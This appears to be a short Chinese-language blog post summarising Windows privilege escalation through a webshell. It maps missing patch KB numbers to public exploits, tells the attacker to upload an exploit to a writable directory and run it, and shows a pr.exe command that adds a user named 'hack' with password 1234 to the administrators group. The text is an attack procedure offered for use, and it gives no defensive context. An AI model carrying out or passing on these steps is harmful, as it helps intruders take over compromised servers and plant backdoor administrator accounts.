Windows溢出提權小結

標籤：

1、  查看系統打補丁情況：systeminfo

 

2、  查看KB-EXP表：

 

KB2360937 MS10-084

KB2478960 MS11-014

KB2507938 MS11-056

KB2566454 MS11-062

KB2646524 MS12-003

KB2645640 MS12-009

KB2641653 MS12-018

KB952004 MS09-012 Pr.exe

KB956572 MS09-012 巴西烤肉

KB971657 MS09-041

KB2620712 MS11-097

KB2393802 MS11-011 ms11011.exe

KB942831 MS08-005

KB2503665 MS11-046 ms11046.exe

KB2592799 MS11-080 ms11080.exe

 

這個表以後會不斷更新！

 

3、  webshell中尋找可讀可寫可執行檔目錄，然後上傳我們的EXP

 

如果不能上傳，則通過下載EXP解決

 

4、  webshell中執行我們的EXP

 

比如：

 

pr.exe “whoami”

 

執行結果：

 

administrator

 

pr.exe “net user hack 1234 /add & net localgroup administrators hack /add”

 

其他的EXP一個道理~

 

EXP可以參考一下暗月的~

Windows溢出提權小結